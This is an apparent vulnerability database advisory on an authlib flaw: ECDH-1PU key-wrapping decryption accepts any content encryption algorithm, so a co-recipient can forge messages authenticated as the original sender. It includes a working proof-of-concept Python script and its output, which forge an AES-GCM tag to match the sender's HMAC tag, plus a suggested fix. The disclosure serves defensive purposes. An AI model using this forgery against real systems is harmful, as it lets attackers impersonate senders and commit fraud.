
Cloud Vulnerability DB
A community-led vulnerabilities database
= 1.0.0, < 1.9.8, and 1.10.0b1. Fixed in 1.9.8.
draft-madden-jose-ecdh-1pu-04, Section 2.1, says that in Key Agreement with Key Wrapping mode (ECDH-1PU+A128KW, +A192KW, +A256KW) the content encryption MUST be AES_CBC_HMAC_SHA2, and "Other content encryption algorithms MUST be rejected". The rule matters because the authentication tag goes into the KDF. That stops a recipient who knows the CEK from reusing the sender's wrapped keys for different content, but only when the tag is committing (HMAC is, GCM and ChaCha20-Poly1305 are not).
authlib applies the rule only on the encrypt side. ECDH1PUAlgorithm.unwrap() and JsonWebEncryption.deserialize_json() / deserialize_compact() accept any registered enc. A sender A might send one multi-recipient ECDH-1PU+A*KW message with A128CBC-HS256 to recipients B and C. Recipient B can then write a new message with any plaintext and enc: A256GCM. B reuses A's tag and C's untouched encrypted_key, and C decrypts it with sender_key=A as an authenticated message from A. joserfc's ECDH-1PU (joserfc.drafts.jwe_ecdh_1pu._check_enc) already makes the same check on decrypt and rejects this message.
Files at tag v1.9.6:
generate_keys_and_prepare_headers() raises InvalidEncryptionAlgorithmForECDH1PUWithKeyWrappingError when enc_alg is not CBCHS2EncAlgorithm. Only the encrypt path calls it.unwrap() derives the KEK as KDF(Ze || Zs, alg, apu, apv, keydatalen, cctag) and unwraps the CEK. It never checks enc_alg.deserialize_json, unwrap at line 584) and line 492 (deserialize_compact). These take enc from the protected header and pass the tag to alg.unwrap(). Then they decrypt with that enc.
How the forgery works:{"alg": "ECDH-1PU+A128KW", "enc": "A128CBC-HS256"} to B and C. The CEK is 32 bytes and T is the 16-byte HMAC tag.enc: A256GCM (its 32-byte key is the CEK) and chooses its own plaintext. It also sets the free JWE "aad" member so that the GCM tag equals T. This only needs linear algebra over GF(2), because with a known key the GHASH tag is affine in the AAD bits.enc. So C's original encrypted_key still unwraps to the same CEK, AES-GCM verifies, and C returns B's plaintext as authenticated by A.
Preconditions: the application registers the draft algorithms (register_jwe_draft). A sends multi-recipient ECDH-1PU+A*KW messages with A128CBC-HS256. The CEK size must match an AEAD the recipient accepts: A192CBC-HS384 and A256CBC-HS512 CEKs have no same-size GCM or ChaCha20 algorithm, so the unwrap fails for them. C20P and XC20P (32-byte keys, also registered by register_jwe_draft) are non-committing as well, so they can stand in for A256GCM.
Suggested fix: in ECDH1PUAlgorithm.unwrap(), when self.key_size is not None (key-wrapping mode), raise InvalidEncryptionAlgorithmForECDH1PUWithKeyWrappingError unless enc_alg is a CBCHS2EncAlgorithm. This mirrors the encrypt-side check and joserfc's _check_enc, which runs on both encrypt and decrypt. Direct Key Agreement mode (ECDH-1PU) is not affected and can keep accepting any enc, as the draft allows.python3 -m venv venv && . venv/bin/activate
pip install authlib==1.9.6poc.py:
import json, os, warnings
warnings.simplefilter("ignore")
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
from authlib.common.encoding import urlsafe_b64encode, urlsafe_b64decode, json_b64encode, to_bytes
from authlib.jose import JsonWebEncryption, ECKey
from authlib.jose.drafts import register_jwe_draft
from authlib.jose.rfc7516.models import JWEHeader
import authlib; print("authlib", authlib.__version__)
register_jwe_draft(JsonWebEncryption)
b64 = lambda b: urlsafe_b64encode(b).decode()
A = ECKey.generate_key("P-256", is_private=True) # sender
B = ECKey.generate_key("P-256", is_private=True) # malicious co-recipient
C = ECKey.generate_key("P-256", is_private=True) # victim recipient
pub = lambda k: ECKey.import_key(k.as_dict(is_private=False))
A_pub, B_pub, C_pub = pub(A), pub(B), pub(C)
# 1. A sends one authenticated message to B and C.
jwe = JsonWebEncryption()
orig = jwe.serialize_json(
{"protected": {"alg": "ECDH-1PU+A128KW", "enc": "A128CBC-HS256",
"apu": b64(b"Alice"), "apv": b64(b"Bob,Charlie")},
"recipients": [{"header": {"kid": "B"}}, {"header": {"kid": "C"}}]},
b'{"msg":"lunch at noon"}', [B_pub, C_pub], sender_key=A)
print("C decrypts A's original :", jwe.deserialize_json(json.dumps(orig), ("C", C), sender_key=A_pub)["payload"])
# 2. B unwraps its own entry and learns the CEK.
protected = json.loads(urlsafe_b64decode(to_bytes(orig["protected"])))
alg = JsonWebEncryption.ALG_REGISTRY["ECDH-1PU+A128KW"]
enc = JsonWebEncryption.ENC_REGISTRY["A128CBC-HS256"]
T = urlsafe_b64decode(to_bytes(orig["tag"]))
rB = orig["recipients"][0]
cek = alg.unwrap(enc, urlsafe_b64decode(to_bytes(rB["encrypted_key"])),
JWEHeader(protected, None, rB["header"]), B, A_pub, T)
# 3. B forges: enc=A256GCM with key = CEK, own plaintext, JWE "aad" chosen so the GCM tag == T.
protected["enc"] = "A256GCM"
p_b64 = json_b64encode(protected)
iv, pt = os.urandom(12), b'{"msg":"wire 10000 EUR to Mallory"}'
g = AESGCM(cek)
L, BITS = 48, (0x01, 0x02, 0x04, 0x20) # keeps every char a valid base64url letter
def tag_of(a): return int.from_bytes(g.encrypt(iv, pt, p_b64 + b"." + bytes(a))[-16:], "big")
base = bytearray(b"H" * L); t0 = tag_of(base)
cols = []
for j in range(L):
for bit in BITS:
a = bytearray(base); a[j] ^= bit; cols.append((tag_of(a) ^ t0, (j, bit)))
basis = {}
for vec, lab in cols: # GF(2) elimination
combo = {lab}
for piv in sorted(basis, reverse=True):
if vec >> piv & 1:
vec ^= basis[piv][0]; combo ^= basis[piv][1]
if vec:
basis[vec.bit_length() - 1] = (vec, combo)
sol, rem = set(), int.from_bytes(T, "big") ^ t0
for piv in sorted(basis, reverse=True):
if rem >> piv & 1:
rem ^= basis[piv][0]; sol ^= basis[piv][1]
assert rem == 0
aad = bytearray(base)
for j, bit in sol: aad[j] ^= bit
ct_tag = g.encrypt(iv, pt, p_b64 + b"." + bytes(aad))
assert ct_tag[-16:] == T
forged = {"protected": p_b64.decode(), "recipients": [orig["recipients"][1]], # C's untouched entry
"aad": aad.decode(), "iv": b64(iv), "ciphertext": b64(ct_tag[:-16]), "tag": orig["tag"]}
# 4. Victim C decrypts with the public API and authenticates sender A.
res = JsonWebEncryption().deserialize_json(json.dumps(forged), ("C", C), sender_key=A_pub)
print("C decrypts B's forgery :", res["payload"], "| enc =", res["header"]["protected"]["enc"])
# authlib refuses to ENCRYPT this combination.
try:
jwe.serialize_json({"protected": {"alg": "ECDH-1PU+A128KW", "enc": "A256GCM"}}, b"x", [C_pub], sender_key=A)
except Exception as e:
print("encrypt side refuses :", type(e).__name__)Run:
python poc.pyOutput (the AuthlibDeprecationWarning for authlib.jose is left out):
authlib 1.9.6
C decrypts A's original : b'{"msg":"lunch at noon"}'
C decrypts B's forgery : b'{"msg":"wire 10000 EUR to Mallory"}' | enc = A256GCM
encrypt side refuses : InvalidEncryptionAlgorithmForECDH1PUWithKeyWrappingErrorThe same script gives the same result on the current main branch (1.10.0b1). joserfc 1.8.0 (ECDH-1PU registered with register_ecdh_1pu()) rejects the same forged message with InvalidEncryptionAlgorithmError.
What an attacker can do: any recipient of a multi-recipient ECDH-1PU+A*KW message (authcrypt) can write any number of new messages with chosen content that every other recipient of the original message accepts as authenticated by the original sender. Sender authentication against co-recipients is the property this key-wrapping mode exists to provide, and this breaks it. Confidentiality is not affected, and no keys are recovered. Under which conditions:
authlib.jose JWE API (deprecated in favour of joserfc since 1.7, still shipped) and has called register_jwe_draft. ECDH-1PU is not in the default registry, and authlib's own OAuth 2.0 and OpenID Connect code does not use it.enc is AES_CBC_HMAC_SHA2 before or after decryption.Source: NVD
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."